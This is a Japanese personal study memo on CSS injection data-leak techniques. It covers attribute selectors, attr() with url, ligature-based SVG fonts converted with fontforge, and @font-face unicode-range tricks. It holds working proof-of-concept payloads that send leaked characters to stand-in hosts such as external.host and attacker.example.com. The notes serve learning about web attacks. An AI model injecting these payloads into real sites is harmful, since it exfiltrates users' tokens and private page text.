CSS インジェクションの手法メモ
CSS インジェクションの手法
雑メモです
属性値のリーク
属性セレクタを使う
広く知られている手法。CSS の属性セレクタを使って取得する。
input[value^="a"] { background: url('http://external.host/?c=a'); } input[value^="b"] { background: url('http://external.host/?c=b'); } ... input[value^="z"] { background: url('http://external.host/?c=z'); }
attr()
を使う
435426 - [meta] Implement CSS Values 3 extensions to attr()
これはまだ任意の URL への leak ができない。attr()
は次のようにして属性値を取得できる。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <style> [token]::after { content: attr(token) " "; } </style> </head> <body> <p token="gfjr8g43hgqwiofhr3gf3">leaked: </p> </body> </html>
url
がサポートされると次のようにして leak できる。
// accounts.goole.com の場合 input[data-initial-value]{ content:attr(data-initial-value url); }
従来の CSS インジェクションによるコンテンツリークが総当りだったのに対して、これが使えるようになるとすべての文字を一度で取得可能になる。 なので、制限が入る方向で話が進んでいそう。
- https://groups.google.com/a/chromium.org/g/blink-dev/c/FGCgsKmylhw/m/A1vw2xREAgAJ?pli=1
- https://github.com/w3c/csswg-drafts/issues/5092
コメントにあるように frame から window.innerWidth
で取得することも可能になる。
<style> iframe { width: attr(data-userid); }; </style> <iframe data-userid="1234" src="ad.html"></iframe>
テキストノードのリーク
Ligature を使う
フォントの合字と幅の変化の検出を組み合わせて、ノードに含まれるテキストを抽出できる。
SVG フォントを fontforge で woff に変換する。SVG では horiz-adv-x
属性を利用してグリフの幅を、 <glyph unicode="AB" horiz-adv-x="8000" d="M1 0z" />
のように定義できる。ここで AB
2文字のシーケンスが存在すれば、それがレンダリングされて、テキストのサイズが変化する。
テキストサイズの変化を検知するために、次のような CSS を用意する。
body { white-space: nowrap }; body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://external.host/?leak); }
nowrap
で文字の回り込みを潰し、フォント制御によって、特定の文字列が含まれている場合のみ、スクロールバーが生じる。
スクロールバーが表示されるのをきっかけに任意の URL に通信が可能。
もっと具体的に書くと...
<p>Token is hoge</p>
のhoge
を leak したい場合Token is h
のみ横幅は大きく、それ以外の任意の文字は横幅0のフォントを用意する- 用意したフォントの設定とスクロールバー制御を行う CSS を各フォントごとに Injection する
- 一文字目 (
h
) が leak できたら、次はToken is ha
,Token is hb
... と繰り返していく
以下は hoge
と入力したら外部サイトに leak するサンプル。
$ cat font.svg <svg> <defs> <font id="hack" horiz-adv-x="0"> <font-face font-family="hack" units-per-em="1000" /> <missing-glyph /> <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="hoge" horiz-adv-x="9000" d="M1 0z"/> </font> </defs> </svg> $ cat convert.pe #!/usr/local/bin/fontforge Open($1) Generate($1:r + ".woff") $ cat convert.sh #!/bin/bash fontforge -script convert.pe font.svg $ ./convert.sh $ cat font.woff | base64 | pbcopy $ cat index.html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <style> @font-face { font-family: "hack"; src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAAR4AA0AAAAABqAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAADAAAAAL8AAAENuE9VxkZGVE0AAARcAAAAGQAAAByV6LvzR0RFRgAAA8AAAAAhAAAAJABOADlHUE9TAAAEKAAAACAAAAAgbJF0j0dTVUIAAAPkAAAARAAAAFTZStw2T1MvMgAAAYAAAABEAAAAYFXjXL1jbWFwAAACnAAAAFgAAAFKYztWsWhlYWQAAAEwAAAAKgAAADYYk8hfaGhlYQAAAVwAAAAbAAAAJAN8In1obXR4AAAESAAAABEAAABwJxAAAG1heHAAAAF4AAAABgAAAAYAHFAAbmFtZQAAAcQAAADWAAABX7/94gpwb3N0AAAC9AAAAAwAAAAgAAMAAHicY2BkYGAAYk1d0c/x/DZfGbiZXwBFGO7sOrwXmYYCDgYmEAUANpYKLAAAeJxjYGRgYFb4b8EQpazBAAGMDKhABgA54gIeAAAAUAAAHAAAeJxjYGb8wjiBgZWBg6mLaQ8DA0MPhGZ8wGDIyMTAwMTAyswAA4wMSCAgzTWFwYEhkaGKWeG/BUMUhhoFIGQBAFrHCkp4nF2OPY7CMBBGXyDALqDdjhZ3WyUKlhASBSUH2II+iqyAQIlk4Axb03AMDkDNwfgSvA22xvPm8/wBY65ENCciZhi4w4Bp4K6oDBzrXgL3GHEL3Jf+UGYUf0r5aKsa7vDFd+AuK34Cx8r5C9xjoh1e3Jd+Z0tOwR62eaH3F6cFzhwke4WuPB9ywZqailPrvTIcBktKJr+U/bd5RQsS5jKrf8tM5XV1Wte+dMammVmaZpjcIpknNrNKeFtjowGeI7t2rFGLZhQb54+7ujKzNHsveQLkUS2IAAB4nGNgYGBmgGAZBkYGEHAB8hjBfBYGDSDNBqQZGZiArKr//8EqEkH0/wVQ9UDAyMaA4NAKMDIxs7CysXNwcnHz8PLxCwgKCYuIiolLSErR2maiAAC3ZQifeJxjYGbACwAAfQAEeJxjZGBhYWBkZGTNSEzOZmBkYmBk0Pghw/RDlvmHBEs3D3M3D0s3ELDKMITzyzAwCMgw9AnKMHDKMLIIMTCDVHMw8DAIZMTnx6fHp4LMAJsDBE4MzgwuDK4MbgzuDB4MngxeDN4MPgy+DH4M/gwBDIEMQQzBDCEMoQxhDOEMEQyRDFEM0YztDDJAl3Bw8wmKiEvJKiiraeroG5laWNs5urh7+QYEh8s81ObrEaMm+gbE3SIySntFu3m4AKDrNPwAeJxjYGRgYOABYhkgZgJCRgYpIJYGQiYGFrAYAwAJnwCIAAAAeJxjYGRgYOBikGPQYWDMSSzJY+BgYAGKMPz/zwCSYczJTE8EijFAeEA5FjDNAcRiUJqFQRqI+RnYGViBPKAYAGZpBjMAAQAAAAoAHAAeAAFsYXRuAAgABAAAAAD//wAAAAAAAHicY37BQDegrMHAAABnXAE3AAAAeJxjYGBgZACCO8UmFWB61+G9MBoATgAIKQAAAA==) } span { background: lightblue; font-family: "hack"; } body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://example.com/leak); } </style> <input name="i" oninput="span.textContent=this.value" /><br> <span id="span">a</span> </body> </html>
font-face
の unicode-range を使う
Masato Kinugawa Security Blog: @font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <style> @font-face{ font-family:poc; src: url(http://attacker.example.com/?A); unicode-range:U+0041; } @font-face{ font-family:poc; src: url(http://attacker.example.com/?B); } @font-face{ font-family:poc; src: url(http://attacker.example.com/?C); unicode-range:U+0043; } #sensitive-information{ font-family:poc; } </style> <p id="sensitive-information">BA</p> </body> </html>
unicode-range + デフォルトのフォントを使う
先程の発展?系。
異なるサイズのローカルフォントを利用して、Scroll Overflow の Leak をする。 テキストを文字ごとに拡大していくと、 div の幅が大きくなって、新しい文字(suffix) が prefix に移動する。 移動した文字は unicode-range trick を使って検出する。これはフォントを Comic Sans に変更して行う(高さがあるのでスクロールバーが出現するらしい)。
ちょっとよく分かっていない。